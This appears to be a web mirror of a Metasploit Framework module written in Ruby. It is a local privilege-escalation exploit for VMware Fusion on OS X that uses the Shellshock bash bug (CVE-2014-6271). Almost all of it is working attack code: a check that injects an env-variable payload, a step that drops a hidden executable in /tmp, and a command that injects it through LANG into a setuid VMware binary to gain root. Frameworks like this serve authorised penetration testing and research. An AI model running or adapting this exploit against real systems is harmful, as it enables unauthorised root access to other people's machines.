Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/vmware_bash_function_root.rb
31476 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = NormalRanking
8
9
include Msf::Post::File
10
include Msf::Post::OSX::Priv
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)',
19
'Description' => %q{
20
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
21
handles external environment variables. This module targets the VMWare Fusion
22
application, allowing an unprivileged local user to get root access.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'Stephane Chazelas', # discovered the bash bug
27
'juken', # discovered the VMWare priv esc
28
'joev', # msf module
29
'mubix' # vmware-vmx-stats
30
],
31
'References' => [
32
[ 'CVE', '2014-6271' ],
33
[ 'CWE', '94' ],
34
[ 'OSVDB', '112004' ],
35
[ 'EDB', '34765' ]
36
],
37
'Platform' => 'osx',
38
'SessionTypes' => [ 'shell', 'meterpreter' ],
39
'Targets' => [
40
[
41
'Mac OS X 10.9 Mavericks x64 (Native Payload)',
42
{
43
'Platform' => 'osx',
44
'Arch' => ARCH_X64
45
}
46
]
47
],
48
'DefaultTarget' => 0,
49
'DisclosureDate' => '2014-09-24',
50
'Notes' => {
51
'AKA' => ['Shellshock'],
52
'Stability' => UNKNOWN_STABILITY,
53
'Reliability' => UNKNOWN_RELIABILITY,
54
'SideEffects' => UNKNOWN_SIDE_EFFECTS
55
}
56
)
57
)
58
59
register_options [
60
OptString.new('VMWARE_PATH', [true, 'The path to VMware.app', '/Applications/VMware Fusion.app']),
61
]
62
register_advanced_options [
63
OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
64
]
65
end
66
67
def base_dir
68
datastore['WritableDir'].to_s
69
end
70
71
def upload(path, data)
72
print_status "Writing '#{path}' (#{data.size} bytes) ..."
73
write_file path, data
74
register_file_for_cleanup path
75
end
76
77
def check
78
check_str = Rex::Text.rand_text_alphanumeric(5)
79
# ensure they are vulnerable to bash env variable bug
80
if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) &&
81
cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/
82
83
CheckCode::Vulnerable
84
else
85
CheckCode::Safe
86
end
87
end
88
89
def exploit
90
if is_root?
91
fail_with Failure::BadConfig, 'Session already has root privileges'
92
end
93
94
if check != CheckCode::Vulnerable
95
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
96
end
97
98
unless writable? base_dir
99
fail_with Failure::BadConfig, "#{base_dir} is not writable"
100
end
101
102
payload_file = "#{base_dir}/.#{Rex::Text.rand_text_alpha_lower(8..12)}"
103
exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
104
upload payload_file, exe
105
cmd_exec "chmod +x #{payload_file}"
106
107
print_status 'Running VMWare services...'
108
path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary
109
cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")
110
end
111
end
112
113